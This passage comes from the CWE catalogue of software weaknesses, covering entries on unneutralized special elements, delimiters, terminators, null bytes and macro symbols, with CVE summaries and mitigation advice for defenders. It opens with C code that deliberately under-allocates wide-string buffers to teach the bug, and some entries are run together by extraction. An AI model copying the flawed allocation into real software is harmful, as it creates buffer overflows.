newString = (wchar_t *) malloc(wcslen(wideString));/* Wrong because wcslen does not include the terminating
null */newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));/* correct! */newString = (wchar_t *)
malloc((wcslen(wideString) + 1) * sizeof(wchar_t));/* ... */ }
```

The output from the printf() statement would be:

Example Language:

(result)

Strlen() output: 0Wcslen() output: 53

## MemberOf Relationships

## CWE-138: Improper Neutralization of Special Elements

Weakness ID : 138

Status: Draft

Structure : Simple

Abstraction : Class

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.

### Extended Description

Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If software does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol < ("less than") as meaning "read input from a file".

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Potential Mitigations

#### Phase: Implementation

Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their software system. One defense is to create a whitelist (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the whitelist. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

Use and specify an appropriate output encoding to ensure that the special elements are well-defined. A normal byte sequence in one encoding could be a special element in another.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same

input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Observed Examples

Reference	Description
<b>CVE-2001-0677</b>	Read arbitrary files from mail client by providing a special MIME header that is internally used to store pathnames for attachments. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0677">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0677</a>
<b>CVE-2000-0703</b>	Setuid program does not cleanse special escape sequence before sending data to a mail program, causing the mail program to process those sequences. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0703">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0703</a>
<b>CVE-2003-0020</b>	Multi-channel issue. Terminal escape sequences not filtered from log files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0020">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0020</a>
<b>CVE-2003-0083</b>	Multi-channel issue. Terminal escape sequences not filtered from log files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0083">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0083</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	1640

### Notes

#### Relationship

This weakness can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special elements.

#### Relationship

See this entry's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.

#### Research Gap

This weakness is probably under-studied for proprietary or custom formats. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.

## CWE-140: Improper Neutralization of Delimiters

**Weakness ID :** 140

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

The software does not neutralize or incorrectly neutralizes delimiters.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ParentOf		146	Improper Neutralization of Expression/Command Delimiters	343

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

**Phase:** Implementation

*Strategy = Input Validation*

Developers should anticipate that delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## CWE-145: Improper Neutralization of Section Delimiters

<b>Weakness ID</b> : 145	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.

### Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions. One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-146: Improper Neutralization of Expression/Command Delimiters

<b>Weakness ID</b> : 146	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.

## Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	140	Improper Neutralization of Delimiters	332

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	⊗	140	Improper Neutralization of Delimiters	332

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Alter Execution Logic	
Availability		
Other		

## Potential Mitigations

Developers should anticipate that inter-expression and inter-command delimiters will be injected/removed/manipulated in the input vectors of their software system.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1640

### Notes

#### Relationship

A shell metacharacter (covered in CWE-150) is one example of a potential delimiter that may need to be neutralized.

## CWE-147: Improper Neutralization of Input Terminators

**Weakness ID :** 147

**Status:** Draft

**Structure :** Simple

**Abstraction :** Variant

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.

### Extended Description

For example, a "." in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	328

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	328

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that terminators will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input

is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## CWE-148: Improper Neutralization of Input Leaders

**Weakness ID** : 148

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The application does not properly handle when a leading character or sequence ("leader") is missing or malformed, or if multiple leaders are used when only one should be allowed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-151: Improper Neutralization of Comment Delimiters

**Weakness ID** : 151

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	328

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	328

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

Developers should anticipate that comments will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

## CWE-152: Improper Neutralization of Macro Symbols

**Weakness ID** : 152

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	328

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	328

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-0770</b>	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0770">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0770</a>
<b>CVE-2008-2018</b>	Attacker can obtain sensitive information from a database by using a comment containing a macro, which inserts the data during expansion. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2018">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2018</a>

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	328

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

Developers should anticipate that substitution characters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Implementation***Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Phase: Implementation***Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## CWE-154: Improper Neutralization of Variable Name Delimiters

**Weakness ID** : 154**Status**: Incomplete**Structure** : Simple**Abstraction** : Variant

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.

### Extended Description

As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: "\$" for an environment variable.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-158: Improper Neutralization of Null Byte or NUL Character

<b>Weakness ID</b> : 158	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.

### Extended Description

As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	328

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	328

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that null characters or null bytes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2005-2008</b>	Source code disclosure using trailing null. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2008">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2008</a>
<b>CVE-2005-3293</b>	Source code disclosure using trailing null. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3293">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3293</a>
<b>CVE-2005-2061</b>	Trailing null allows file include. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2061">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2061</a>
<b>CVE-2002-1774</b>	Null character in MIME header allows detection bypass. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1774">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1774</a>

Reference	Description
<b>CVE-2000-0149</b>	Web server allows remote attackers to view the source code for CGI programs via a null character (%00) at the end of a URL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0149">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0149</a>
<b>CVE-2000-0671</b>	Web server earlier allows allows remote attackers to bypass access restrictions, list directory contents, and read source code by inserting a null character (%00) in the URL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0671">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0671</a>
<b>CVE-2001-0738</b>	Logging system allows an attacker to cause a denial of service (hang) by causing null bytes to be placed in log messages. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0738">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0738</a>
<b>CVE-2001-1140</b>	Web server allows source code for executable programs to be read via a null character (%00) at the end of a request. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1140">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1140</a>
<b>CVE-2002-1031</b>	Protection mechanism for limiting file access can be bypassed using a null character (%00) at the end of the directory name. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1031">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1031</a>
<b>CVE-2002-1025</b>	Application server allows remote attackers to read JSP source code via an encoded null byte in an HTTP GET request, which causes the server to send the .JSP file unparsed. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1025">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1025</a>
<b>CVE-2003-0768</b>	XSS protection mechanism only checks for sequences with an alphabetical character following a (<), so a non-alphabetical or null character (%00) following a < may be processed. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0768">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0768</a>
<b>CVE-2004-0189</b>	Decoding function in proxy allows regular expression bypass in ACLs via URLs with null characters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0189">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0189</a>
<b>CVE-2005-3153</b>	Null byte bypasses PHP regexp check (interaction error). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3153">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3153</a>
<b>CVE-2005-4155</b>	Null byte bypasses PHP regexp check (interaction error). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4155">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4155</a>

## CWE-159: Failure to Sanitize Special Element

<b>Weakness ID</b> : 159	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

## Description

Weaknesses in this attack-focused category do not properly filter and interpret special elements in user-controlled input which could cause adverse effect on the software behavior and integrity.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ParentOf		166	Improper Handling of Missing Special Element	380
ParentOf		167	Improper Handling of Additional Special Element	381
ParentOf		168	Improper Handling of Inconsistent Special Elements	383

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing

input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

